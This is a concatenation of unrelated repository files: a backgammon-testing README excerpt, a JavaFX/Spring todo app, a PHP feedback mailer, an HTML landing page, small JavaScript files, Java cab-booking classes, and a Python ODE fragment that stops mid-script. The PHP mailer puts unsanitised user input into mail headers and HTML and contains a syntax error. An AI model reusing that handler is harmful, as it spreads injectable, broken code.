Every matchpair provides a score in range of -2 and 2 depending on the results of the two matches in the matchpair (the sum of the scores of the two matches, where every win, draw and loss is worth 1, 0, and -1 point respectively). The t-statistic is calculated on the sample of these scores. p-value is then calculated based on that and the degrees of freedom. Finally a verdict is printed that uses 0.05 as a threshold for significance.
#### Example output of a single leg
(The example below should match the output of the first leg for the example config provided)
```
leg score:
Woolsey 0-ply (White / player 0 / on top): 3
Zadeh 0-ply (Black / player 1 / bottom): 7
Ties (scores 1a1a & 2a2a): 0
Total: 3.0 - 7.0
```
#### Example output of a t-test
(The example below should match the output of the t-test for the example config provided)
```
H0: aggregated scores' average is 0
Matchpair outcomes frequency table:
B T W
B 4 2 1
T 0 0 0
W 1 0 2
t-statistics: -0.6123724356957945
p-value: 0.5554454421055857
H0 cannot be rejected ~ none of the METs is significantly stronger than the other
```
Note that the sum of rows in the crosstable equal 7, 0 and 3, matching the scores of the first leg in the previous output.
## Technical requirements, known limitations
__Holmgång__ has only been tested on __Ubuntu 18.04__.
It needs __Python3__, __Bash__ and __GNU Backgammon__ installed.
As of March 2020, __GNU Backgammon__ has to be manually compiled, as there is not yet any official release which contains necessary fixes introduced with the following revisions:
- `/gnubg/external.c` 1.101
- `/gnubg/play.c` 1.463
- `/gnubg/external.h` 1.25
- `/gnubg/drawboard.c` 1.82
| 539269ed1b08c5c3c9e7d26372ea29b09eae4afb | [
"Markdown",
"Python",
"Shell"
] | 3 | Python | gergely-elias/holmgang | 9c9b44a78eafc8508a642273ae1295b00d4fdc37 | 99804b1d4be82d1b67f9992b3979f366c24038f5 |
refs/heads/master | <repo_name>ILDAR1976/spring_edu_001<file_sep>/src/main/java/ru/todolist/TodoApplication.java
package ru.todolist;
import org.apache.log4j.Logger;
import javafx.application.Application;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
import ru.todolist.controller.MainController;
import ru.todolist.utils.DbUtils;
import ru.todolist.utils.SpringFXMLLoader;
public class TodoApplication extends Application {
private static Logger LOG = Logger.getLogger(TodoApplication.class);
public static void main(String[] args) {
launch(args);
}
@Override
public void start(Stage primaryStage) throws Exception {
MainController mainController = (MainController) SpringFXMLLoader.load("/fxml/main.fxml");
Scene scene = new Scene((Parent) mainController.getView(), 300, 275);
LOG.info("Run application ...");
primaryStage.setTitle("Todolist");
primaryStage.setScene(scene);
primaryStage.show();
}
@Override
public void init() {
try {
DbUtils.startDB();
} catch (Exception e) {
LOG.error("Problem with start DB", e);
}
}
@Override
public void stop() {
try {
DbUtils.stopDB();
} catch (Exception e) {
LOG.error("Problem with stop DB", e);
}
}
}<file_sep>/src/main/java/ru/todolist/utils/SpringFXMLLoader.java
package ru.todolist.utils;
import javafx.fxml.FXMLLoader;
import javafx.scene.Node;
import javafx.util.Callback;
import org.apache.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import ru.todolist.TodoApplication;
import ru.todolist.config.AppConfig;
import ru.todolist.controller.Controller;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
public class SpringFXMLLoader {
private static Logger LOG = Logger.getLogger(SpringFXMLLoader.class);
private static final ApplicationContext APPLICATION_CONTEXT = new AnnotationConfigApplicationContext(AppConfig.class);
public static Controller load(String url) {
InputStream fxmlStream = null;
try {
fxmlStream = SpringFXMLLoader.class.getResourceAsStream(url);
FXMLLoader loader = new FXMLLoader();
loader.setControllerFactory(new Callback<Class<?>, Object>() {
@Override
public Object call(Class<?> aClass) {
return APPLICATION_CONTEXT.getBean(aClass);
}
});
Node view = (Node) loader.load(fxmlStream);
Controller controller = (Controller) loader.getController();
controller.setView(view);
return controller;
} catch (IOException e) {
LOG.error("Can't load resource", e);
throw new RuntimeException(e);
} finally {
if (fxmlStream != null) {
try {
fxmlStream.close();
} catch (IOException e) {
LOG.error("Can't close stream", e);
}
}
}
}
private String getPackageNamePattern(){
return "/" + getClass().getPackage().getName().replace(".", "/");
}
}<file_sep>/build.gradle
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath("org.springframework.boot:spring-boot-gradle-plugin:1.5.6.RELEASE")
classpath("org.apache.logging.log4j:log4j-api:2.8.2")
classpath("org.apache.logging.log4j:log4j-core:2.8.2")
classpath("org.apache.derby:derbynet:10.10.1.1")
classpath("org.apache.derby:derbyclient:10.10.1.1")
}
}
apply plugin: 'java'
apply plugin: 'eclipse'
apply plugin: 'idea'
apply plugin: 'org.springframework.boot'
jar {
baseName = 'todolist'
version = '0.1.0'
}
repositories {
mavenCentral()
maven { url "https://repository.jboss.org/nexus/content/repositories/releases" }
maven { url "https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api" }
maven { url "https://mvnrepository.com/artifact/org.apache.derby/derbyclient" }
}
sourceCompatibility = 1.8
targetCompatibility = 1.8
dependencies {
compile("org.springframework.boot:spring-boot-starter-data-jpa")
compile("org.apache.derby:derbyclient:10.10.1.1")
compile("org.apache.derby:derbynet:10.10.1.1")
compile("org.apache.logging.log4j:log4j-api:2.8.2")
compile("org.apache.logging.log4j:log4j-core:2.8.2")
testCompile("org.springframework.boot:spring-boot-starter-test")
}
| d1e5daa7fb633b35d64e536aff9fb87e769e8ea5 | [
"Java",
"Gradle"
] | 3 | Java | ILDAR1976/spring_edu_001 | b6ecf04cbe839252abb4694cae8550a04e977923 | de94ff74dee53013abc0fbef85f00706fae3144b |
refs/heads/master | <repo_name>Nicholas-R/Nicholas-R.github.io<file_sep>/test/src/form.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Создание формы обратной связи</title>
<meta http-equiv="Refresh" content="4; URL=http://index.html/">
</head>
<body>
<?php
$sendto = "<EMAIL>";
$username = $_POST['name'];
$userskype = $_POST['Skype'];
$usermail = $_POST['email'];
$message = $_POST['message']
// проверяем наличие данных в чекбоксе и сохраняем их
$bem = '';
if (empty($_POST["bem"]))
{
$bem = "Не знает БЭМ";
}
elseif (!empty($_POST["bem"]) && is_array($_POST["bem"]))
{
$bem = implode(" ", $_POST["bem"]);
};
$sem = '';
if (empty($_POST["sem"]))
{
$sem = "Не верстает семантично";
}
elseif (!empty($_POST["sem"]) && is_array($_POST["sem"]))
{
$sem = implode(" ", $_POST["sem"]);
};
$webpack = '';
if (empty($_POST["webpack"]))
{
$webpack = "Не использовал Webpack";
}
elseif (!empty($_POST["webpack"]) && is_array($_POST["webpack"]))
{
$webpack = implode(" ", $_POST["webpack"]);
};
$sass = '';
if (empty($_POST["sass"]))
{
$sass = "Не пользовался препроцессорами";
}
elseif (!empty($_POST["sass"]) && is_array($_POST["sass"]))
{
$sass = implode(" ", $_POST["sass"]);
};
$es = '';
if (empty($_POST["es"]))
{
$es = "Не знаком с JavaScript";
}
elseif (!empty($_POST["es"]) && is_array($_POST["es"]))
{
$es = implode(" ", $_POST["es"]);
};
$jq = '';
if (empty($_POST["jq"]))
{
$jq = "Не знаком с jQuery";
}
elseif (!empty($_POST["jq"]) && is_array($_POST["jq"]))
{
$jq = implode(" ", $_POST["jq"]);
};
$svg = '';
if (empty($_POST["svg"]))
{
$svg = "Не работает с SVG";
}
elseif (!empty($_POST["svg"]) && is_array($_POST["svg"]))
{
$svg = implode(" ", $_POST["svg"]);
};
$gulp = '';
if (empty($_POST["gulp"]))
{
$gulp = "Не знает Gulp/Grunt";
}
elseif (!empty($_POST["gulp"]) && is_array($_POST["gulp"]))
{
$gulp = implode(" ", $_POST["gulp"]);
};
$git = '';
if (empty($_POST["git"]))
{
$git = "Не использует Git";
}
elseif (!empty($_POST["git"]) && is_array($_POST["git"]))
{
$git = implode(" ", $_POST["git"]);
};
// проверяем наличие данных в радиокнопке и сохраняем их
$seo = '';
if (empty($_POST["seo"]))
{
$seo = "SEO оптимизация не требуется";
}
elseif (!empty($_POST["seo"]) && is_array($_POST["seo"]))
{
$seo = implode(" ", $_POST["seo"]);
}
$year =$_POST ['year']; // сохраняем данные из выпадающего списка
// Формирование заголовка письма
$subject = "Новое сообщение";
$headers = "From: " . strip_tags($usermail) . "\r\n";
$headers .= "Reply-To: ". strip_tags($usermail) . "\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html;charset=utf-8 \r\n";
// Формирование тела письма
$msg = "<html><body style='font-family:Arial,sans-serif;'>";
$msg .= "<h2 style='font-weight:bold;border-bottom:1px dotted #ccc;'>Cообщение с сайта</h2>\r\n";
$msg .= "<p><strong>От кого:</strong> ".$username."</p>\r\n";
$msg .= "<p><strong>Почта:</strong> ".$usermail."</p>\r\n";
$msg .= "<p><strong>Скайп:</strong> ".$userskype."</p>\r\n";
$msg .= "<p><strong>Сообщение:</strong> ".$message."</p>\r\n";
$msg .= "<p><strong>Опыт:<br/> </strong> ".$bem."</p>\r\n";
$msg .= "<p>".$sem."</p>\r\n";
$msg .= "<p>".$webpack."</p>\r\n";
$msg .= "<p>".$sass."</p>\r\n";
$msg .= "<p>".$es."</p>\r\n";
$msg .= "<p>".$jq."</p>\r\n";
$msg .= "<p>".$svg."</p>\r\n";
$msg .= "<p>".$gulp."</p>\r\n";
$msg .= "<p>".$git."</p>\r\n";
$msg .= "</body></html>";
// отправка сообщения
if(@mail($sendto, $subject, $msg, $headers)) {
echo "<center><h3>Спасибо, анкета отправлена</h3></center>";
} else {
echo "<center><h3>Извините, анкета не отправлена</h3></center>";
}
?>
</body>
</html><file_sep>/StartUp/index.html
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="img/header-img/logo.jpg">
<title>StartUp</title>
<!-- Подключение шрифтов -->
<link href="https://fonts.googleapis.com/css?family=Montserrat|Roboto+Slab&subset=cyrillic-ext" rel="stylesheet">
<!-- Подключение Bootstrap -->
<link rel="stylesheet" href="css/bootstrap-grid.min.css">
<!-- Подключение анимации -->
<link rel="stylesheet" href="css/animate.css">
<!-- Подключаем стили slick-slider -->
<link rel="stylesheet" href="slick/slick.css">
<link rel="stylesheet" href="slick/slick-theme.css">
<!-- Подключение CSS стилей -->
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="main">
<div class="container">
<div class="header">
<div class="header-text__logo wow fadeInLeft">
Startup
</div>
<div class="header-menu wow fadeInRight">
<ul>
<li>
<a href="#" class="header-menu__link">Home</a>
</li>
<li>
<a href="#" class="header-menu__link">Services</a>
</li>
<li>
<a href="#" class="header-menu__link">About</a>
</li>
<li>
<a href="#" class="header-menu__link">Works</a>
</li>
<li>
<a href="#" class="header-menu__link">Blog</a>
</li>
<li>
<a href="#" class="header-menu__link">Clients</a>
</li>
<li>
<a href="#" class="header-menu__link">Contact</a>
</li>
</ul>
</div>
<!-- /.header-text-menu__link -->
</div>
<!-- /.header -->
<div class="main-text">
<h1 class="main-text__title wow fadeInDownBig">
Welcome to STARTUP
</h1>
<!-- /.main-text__title -->
<p class="main-text__subtitle wow fadeInUp">
Your Favourite Creative Agency Template
</p>
<!-- /.main-text__subtitle -->
<button class="button button-o wow fadeInUp">Get Started</button>
</div>
<!-- /.main-text -->
</div>
<!-- /.container -->
</header>
<!-- /.main -->
<section class="services">
<div class="container">
<div class="services-text wow fadeInDown">
<h2 class="services-text__title section-title">
Services
</h2>
<!-- /.services-text__title -->
<p class="services-text__subtitle">
We offer ipsum dolor sit amet, consetetur sadipscing elitr amet
</p>
<!-- /.services-text__subtitle -->
</div>
<!-- /.services-text -->
<div class="services-blocks">
<div class="services-block wow fadeInLeft">
<div class="services-block__img-border">
<img src="img/services-img/fa-font(red).png" alt="font" class="services-block__img">
</div>
<!-- /.services-block__img-border -->
<div class="services-block__title">Clean Typography</div>
<!-- /.services-block__title -->
<p class="services-block__descr">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit. Lorem ipsum.</p>
<!-- /.services-block__descr -->
</div>
<!-- /.services-block -->
<div class="services-block wow fadeInUp">
<div class="services-block__img-border">
<img src="img/services-img/fa-code(red).png" alt="code" class="services-block__img">
</div>
<!-- /.services-block__img-border -->
<div class="services-block__title">Rock Solid Code</div>
<!-- /.services-block__title -->
<p class="services-block__descr">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit. Lorem ipsum.</p>
<!-- /.services-block__descr -->
</div>
<!-- /.services-block -->
<div class="services-block wow fadeInRight">
<div class="services-block__img-border">
<img src="img/services-img/fa-support(red).png" alt="support" class="services-block__img">
</div>
<!-- /.services-block__img-border -->
<div class="services-block__title">Expert Support</div>
<!-- /.services-block__title -->
<p class="services-block__descr">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Minima maxime quam architecto quo inventore harum ex magni, dicta impedit. Lorem ipsum.</p>
<!-- /.services-block__descr -->
</div>
<!-- /.services-block -->
</div>
<!-- /.services-blocks -->
</div>
<!-- /.container -->
</section>
<!-- /.services -->
<section class="company">
<div class="container">
<div class="company-header">
<h2 class="company-header__title section-title wow flipInX">About us</h2>
<!-- /.company-header__title -->
<div class="company-header__subtitle wow flipInX">Lorem ipsum dolor sit amet, consetetur sadipscing elitr amet</div>
<!-- /.company-header__subtitle -->
</div>
<!-- /.company-header -->
<div class="company-blocks">
<div class="company-blocks__text wow fadeInUp">Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sediam nonumy eirmod tempor invidunt ut labore et dolore aliquyam erat, sed diam voluptua. At vero eos et accusam et justo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor et dolore aliquyam erat. Lorem ipsum dolor sit amet. Lorem ipsum eat.</div>
<!-- /.company-text__block -->
<div class="company-blocks__text wow fadeInUp">
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sediam nonumy eirmod tempor invidunt ut labore et dolore aliquyam erat, sed diam voluptua. At vero eos et accusam et justo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor et dolore aliquyam erat. Lorem ipsum dolor sit amet. Lorem ipsum eat.
</div>
<!-- /.company-text__block -->
</div>
<!-- /.company-texts -->
<div class="company-photo">
<div class="company-photo__block wow pulse" data-wow-delay="0.1s">
<img src="img/company-img/1-photo.jpg" alt="1" class="company-photo__block__img">
<div class="company-photo__block__title">Md. <NAME></div>
<!-- /.company-photo__block__title -->
<div class="company-photo__block__subtitle">Head of Ideas</div>
<!-- /.company-photo__block__subtitle -->
</div>
<!-- /.company-photo__block -->
<div class="company-photo__block wow pulse" data-wow-delay="0.2s">
<img src="img/company-img/2-photo.jpg" alt="2" class="company-photo__block__img">
<div class="company-photo__block__title"><NAME></div>
<!-- /.company-photo__block__title -->
<div class="company-photo__block__subtitle">Lead WordPress Developer</div>
<!-- /.company-photo__block__subtitle -->
</div>
<!-- /.company-photo__block -->
<div class="company-photo__block wow pulse" data-wow-delay="0.3s">
<img src="img/company-img/3-photo.jpg" alt="3" class="company-photo__block__img">
<div class="company-photo__block__title"><NAME></div>
<!-- /.company-photo__block__title -->
<div class="company-photo__block__subtitle">Sr. Web Developer</div>
<!-- /.company-photo__block__subtitle -->
</div>
<!-- /.company-photo__block -->
<div class="company-photo__block wow pulse" data-wow-delay="0.4s">
<img src="img/company-img/4-photo.jpg" alt="4" class="company-photo__block__img">
<div class="company-photo__block__title"><NAME></div>
<!-- /.company-photo__block__title -->
<div class="company-photo__block__subtitle">Front-end Developer</div>
<!-- /.company-photo__block__subtitle -->
</div>
<!-- /.company-photo__block -->
<div class="company-photo__block wow pulse" data-wow-delay="0.5s">
<img src="img/company-img/4-photo.jpg" alt="4" class="company-photo__block__img">
<div class="company-photo__block__title"><NAME></div>
<!-- /.company-photo__block__title -->
<div class="company-photo__block__subtitle">Front-end Developer</div>
<!-- /.company-photo__block__subtitle -->
</div>
<!-- /.company-photo__block -->
</div>
<!-- /.company-photo -->
</div>
<!-- /.container -->
</section>
<!-- /.company -->
<section class="works">
<div class="container">
<h2 class="section-title">Latest Works</h2>
<!-- /.section-title -->
<div class="works-nav">
<ul>
<li><a href="#" class="works-nav__link">All</a></li>
<li><a href="#" class="works-nav__link">Branding</a></li>
<li><a href="#" class="works-nav__link">Design</a></li>
<li><a href="#" class="works-nav__link">Development</a></li>
<li><a href="#" class="works-nav__link">Strategy</a></li>
</ul>
</div>
<!-- /.works-nav -->
<div class="works-blocks">
<div class="works-block wow pulse" data-wow-delay="0.1s">
<img src="img/works-img/1-img.jpg" alt="1" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.3s">
<img src="img/works-img/2-img.jpg" alt="2" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.5s">
<img src="img/works-img/3-img.jpg" alt="3" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.1s">
<img src="img/works-img/4-img.jpg" alt="4" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.3s">
<img src="img/works-img/5-img.jpg" alt="5" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.5s">
<img src="img/works-img/6-img.jpg" alt="6" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.1s">
<img src="img/works-img/7-img.jpg" alt="7" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.3s">
<img src="img/works-img/8-img.jpg" alt="8" class="work-block__img">
</div>
<!-- /.work-block -->
<div class="works-block wow pulse" data-wow-delay="0.5s">
<img src="img/works-img/9-img.jpg" alt="9" class="work-block__img">
</div>
<!-- /.work-block -->
</div>
<!-- /.works-blocks -->
</div>
<!-- /.container -->
</section>
<!-- /.works -->
<section class="call">
<div class="container">
<div class="call-block">
<call-text>
<h2 class="call-text__title">Do you like OUR WORK so far? <br>Let's talk about YOUR PROJECT!</h2>
<!-- /.call-text__title -->
</call-text>
<button class="button button-o">Get in Touch</button>
<!-- /.button button -->
</div>
<!-- /.call-block -->
</div>
<!-- /.container -->
</section>
<!-- /.call -->
<section class="blog">
<div class="container">
<div class="section-title">Recent blog posts</div>
<!-- /.section-header -->
<div class="blog-header__subtitle">Lorem ipsum dolor sit amet, consetetur sadipscing elitr amet
</div>
<!-- /.blog-header__subtitle -->
<div class="blog-blocks blog-blocks__first">
<div class="blog-block__photo"><img src="img/blog-img/1-blog.jpg" alt="1" class="blog-block__img">
</div>
<!-- /.blog-blocks__item -->
<div class="blog-block">
<div class="blog-block__text">
<img src="img/blog-img/18-oct.png" alt="18-oct" class="blog-block__icon">
<h2 class="blog-block__title"><span>Startup ideas needs to be funded</span><br> By <NAME> in Development </h2>
<!-- /.blog-block__title -->
</div>
<!-- /.blog-block__text -->
<p class="blog-block__descr">Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod teduntlabore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et erebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit am Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidulabore et dolore aliquyam erat, sed diam </p>
<!-- /.blog-block__descr -->
<div class="blog-block__link">
<a href="#" >Read more</a>
</div>
<!-- /.blog-block__link -->
</div>
<!-- /.blog-blocks__text -->
</div>
<!-- /.blog-blocks -->
<div class="blog-blocks">
<div class="blog-block__photo"><img src="img/blog-img/2-blog.jpg" alt="1" class="blog-block__img">
</div>
<!-- /.blog-blocks__item -->
<div class="blog-block">
<div class="blog-block__text">
<img src="img/blog-img/18-oct.png" alt="18-oct" class="blog-block__icon">
<h2 class="blog-block__title"><span>Startup ideas needs to be funded</span><br> By <NAME> in Development </h2>
<!-- /.blog-block__title -->
</div>
<!-- /.blog-block__text -->
<p class="blog-block__descr">Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod teduntlabore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et erebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit am Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidulabore et dolore aliquyam erat, sed diam </p>
<!-- /.blog-block__descr -->
<div class="blog-block__link">
<a href="#" >Read more</a>
</div>
<!-- /.blog-block__link -->
</div>
<!-- /.blog-blocks__text -->
</div>
<!-- /.blog-blocks -->
</div>
<!-- /.container -->
</section>
<!-- /.blog -->
<section class="comment">
<div class="container">
<div class="comment-label">
<img src="img/comment-img/1-comment.png " alt="1" class="comment-label__img wow swing" data-wow-delay="0.9s">
<img src="img/comment-img/2-comment.png" alt="2" class="comment-label__img wow swing" data-wow-delay="0.5s">
<img src="img/comment-img/3-comment.png" alt="3" class="comment-label__img wow swing" data-wow-delay="0.1s">
<img src="img/comment-img/4-comment.png" alt="4" class="comment-label__img wow swing" data-wow-delay="0.5s">
<img src="img/comment-img/5-comment.png" alt="5" class="comment-label__img wow swing" data-wow-delay="0.9s">
</div>
<!-- /.comment-label -->
<div class="comment-text">
<div class="comment-text__descr">
<p>Hvaing placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum”</p>
<h3><NAME>, Google Inc</h3>
</div>
<!-- /.comment-text__descr -->
<div class="comment-text__descr">
<p>Hvaing placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum”</p>
<h3><NAME>, Google Inc</h3>
</div>
<!-- /.comment-text__descr -->
<div class="comment-text__descr">
<p>Hvaing placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum”</p>
<h3><NAME>, Google Inc</h3>
</div>
<!-- /.comment-text__descr -->
</div>
<!-- /.comment-text -->
</div>
<!-- /.container -->
</section>
<!-- /.comment -->
<section class="feedback">
<div class="container">
<h2 class="section-title">Get in touch</h2>
<!-- /.section-title -->
<div class="feedback-subtitle">Lorem ipsum dolor sit amet, consetetur sadipscing elitr amet</div>
<!-- /.feedback-subtitle -->
<div class="feedback-blocks">
<div class="feedback-text">
<div class="feedback-text__address">
<h3>Address</h3>
<p>312, 7th Ave, New York<br>
NY 101200, United States of America</p>
</div>
<!-- /.feedback-text__address -->
<div class="feedback-text__hotline">
<h3>Hotline (24x7)</h3>
<p>+65 0052 300, +65 88251 210<br>
+88 01723 511 340</p>
</div>
<!-- /.feedback-text__hotline -->
<div class="feedback-text__email">
<h3>E-mail</h3>
<p><EMAIL><br>
<EMAIL></p>
</div>
<!-- /.feedback-text__email -->
</div>
<!-- /.feedback-text -->
<div class="feedback-block">
<form action="#" class="feedback-form">
<input placeholder="Ваше имя" class="form-input__1" type="text">
<input placeholder="Ваш E-mail" class="form-input__2" type="text">
<input placeholder="Ваша фамилия" class="form-input__3" type="text">
<input placeholder="Название компании" class="form-input__4" type="text">
<textarea placeholder="Введите сообщение" rows="6" class="form-input__5"></textarea>
<input type="submit" value="Send message" class="button button-submit">
<small class="form-small">* We’ll contact you as as possible. We don’t reply on Monday.</small>
</form>
<!-- /.feedback-form -->
</div>
<!-- /.feedback-block -->
</div>
<!-- /.feedback-blocks -->
</div>
<!-- /.container -->
</section>
<!-- /.feedback -->
<footer class="footer">
<div class="container">
<div class="footer-label">
<ul>
<li><a href="#" class="footer-social__twitter"></a></li>
<li><a href="#" class="footer-social__facebook"></a></li>
<li><a href="#" class="footer-social__linkedin"></a></li>
<li><a href="#" class="footer-social__rss"></a></li>
</ul>
</div>
<!-- /.footer-label -->
<div class="footer-text">© 2015 Startup, Designed by ShapedTheme</div>
<!-- /.footer-text -->
</div>
<!-- /.container -->
</footer>
<!-- /.footer -->
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js">
</script>
<script>window.jQuery || document.write('<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"><\/script>')
</script>
<!-- Подключаем библиотеку slick-slider -->
<script src="slick/slick.min.js"></script>
<!-- Инициализируем слайдер -->
<script>
$(document).ready(function(){
$('.company-photo').slick({
lazyLoad: 'ondemand',
slidesToShow: 4,
slidesToScroll: 1
});
});
</script>
<script>
$(document).ready(function(){
$('.comment-text').slick({
lazyLoad: 'ondemand',
slidesToShow: 1,
slidesToScroll: 1,
appendDots: true
});
});
</script>
<script src="js/wow.min.js"></script>
<script>
new WOW().init();
</script>
</body>
</html><file_sep>/Schedule/src/js/script.js
var panelItem = document.querySelectorAll('.block-day__subtitle'),
active = document.getElementsByClassName('.panel-active');
Array.from(panelItem).forEach(function(item, i, panelItem) {
item.addEventListener('click', function(e) {
if (active.length > 0 && active[0] !== this) // если есть активный элемент, и это не тот по которому кликнули
active[0].classList.remove('panel-active'); // убрать класс panel-active
// изменить состояние класса panel-active на текущем элементе: добавить если не было, убрать если было.
this.classList.toggle('panel-active');
});
});
var arrow = document.querySelectorAll('.fa-chevron-down'),
rotate = document.getElementsByClassName('.fa-chevron-up');
Array.from(arrow).forEach(function(item, i, panelItem) {
item.addEventListener('click', function(e) {
if (rotate.length > 0 && rotate[0] !== this) // если есть активный элемент, и это не тот по которому кликнули
rotate[0].classList.remove('fa-chevron-up'); // убрать класс panel-active
// изменить состояние класса panel-active на текущем элементе: добавить если не было, убрать если было.
this.classList.toggle('fa-chevron-up');
this.classList.toggle('fa-chevron-down');
});
});<file_sep>/README.md
# description of projects
These are my three projects.
Good Cardboard and Web Agency made using a valid cross-platform and cross-browser layout. An adaptation for mobile devices was made up to a minimum screen width of 320 pixels. During development, I used: gully, sass, bootstrap grid, jQuery. The files css and html are not minimized so you can see the structure.
Project StartUp was made without an adaptive.
<file_sep>/Maklai/src/js/script.js
$(document).ready(function() {
$(".my-progress-bar").circularProgress({
line_width: 3,
color: "#3587e0",
height: "65px",
width: "65px",
starting_position: 0, // 12.00 o' clock position, 25 stands for 3.00 o'clock (clock-wise)
percent: 0, // percent starts from
percentage: true,
text: ""
}).circularProgress('animate', 78, 2000);
});
| 196ce0bd68974dcb891311fb761c06092b76653a | [
"JavaScript",
"Markdown",
"HTML",
"PHP"
] | 5 | PHP | Nicholas-R/Nicholas-R.github.io | b7209a58f82be99c0956998d4307ea526ef9d96c | 209ec376fe7b4afd57a684fab1ad008a857f9528 |
refs/heads/master | <repo_name>shrawangaur/NitroCabBooking<file_sep>/src/com/booking/literals/BookingLiterals.java
package com.booking.literals;
import com.booking.domain.BookingRequest;
import com.booking.domain.Cab;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
/**
* Created by acer on 11/29/2014.
*/
public class BookingLiterals {
public static List<Cab> populateAvailableCabs() {
List<Cab> cabList = new ArrayList<Cab>();
Cab cabOne = new Cab("DL01HB001", 100020,false);
Cab cabTwo = new Cab("DL01HB002", 100040,false);
Cab cabThree = new Cab("DL01HB003", 100060,false);
Cab cabFour = new Cab("DL01HB004", 100080,false);
cabList.add(cabOne);
cabList.add(cabTwo);
cabList.add(cabThree);
cabList.add(cabFour);
return cabList;
}
public static Set<BookingRequest> populateBookingRequest() {
Set<BookingRequest> bookingRequestList = new TreeSet<BookingRequest>();
DateFormat sdf = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss");
try {
BookingRequest bookingRequestOne = new BookingRequest("BR001", 100025, 100036, sdf.parse("29-11-2014 18:00:00"));
BookingRequest bookingRequestTwo = new BookingRequest("BR002", 100056, 100042, sdf.parse("29-11-2014 17:30:00"));
BookingRequest bookingRequestFour = new BookingRequest("BR004", 100028, 100036, sdf.parse("29-11-2014 15:00:00"));
BookingRequest bookingRequestThree = new BookingRequest("BR003", 100044, 100056, sdf.parse("29-11-2014 17:00:00"));
bookingRequestList.add(bookingRequestOne);
bookingRequestList.add(bookingRequestTwo);
bookingRequestList.add(bookingRequestFour);
bookingRequestList.add(bookingRequestThree);
} catch (ParseException e) {
e.printStackTrace();
}
return bookingRequestList;
}
}
<file_sep>/src/com/booking/domain/BookingRequest.java
package com.booking.domain;
import java.util.Date;
/**
* Created by acer on 11/29/2014.
*/
public class BookingRequest implements Comparable {
private String bookingId;
private int pickUpArea;
private int dropArea;
private Date pickUpTime;
public BookingRequest(String bookingId, int pickUpArea, int dropArea, Date pickUpTime) {
this.bookingId = bookingId;
this.pickUpArea = pickUpArea;
this.dropArea = dropArea;
this.pickUpTime = pickUpTime;
}
public String getBookingId() {
return bookingId;
}
public int getPickUpArea() {
return pickUpArea;
}
public int getDropArea() {
return dropArea;
}
public Date getPickUpTime() {
return pickUpTime;
}
@Override
public int compareTo(Object _br) {
BookingRequest br = (BookingRequest)_br;
return this.getPickUpTime().compareTo(br.getPickUpTime());
}
}
| 591078146c1eb8eceef5b35ac39bd014b4b446d9 | [
"Java"
] | 2 | Java | shrawangaur/NitroCabBooking | d93dfd87d073b5107b3387a84470fc47e71fc3ba | 7ccebc85dca444ff502232f92421ce6bd24dbb8e |
refs/heads/main | <file_sep>"""
Created on Fri Nov 13 10:57:55 2020
@author: <NAME>
"""
import matplotlib.pyplot as mpl
# Define the functions dy1, dy2, dy3 and dy4
def dy1(x, y1, y2):
return y2
def dy2(x, y1, y2):
return (2*y2 + y1 - x) / 7
def dy3(x, y3, y4):
return y4
def dy4(x, y3, y4):
return (2*y4 + y3) / 7
# Set the boundary conditions
x0, alph = 0, 5
xn, beta = 20, 8
# Choose the number of grid points
n = 10
h = (xn - x0) / n
# Create a list containing x0, x1, ..., xn
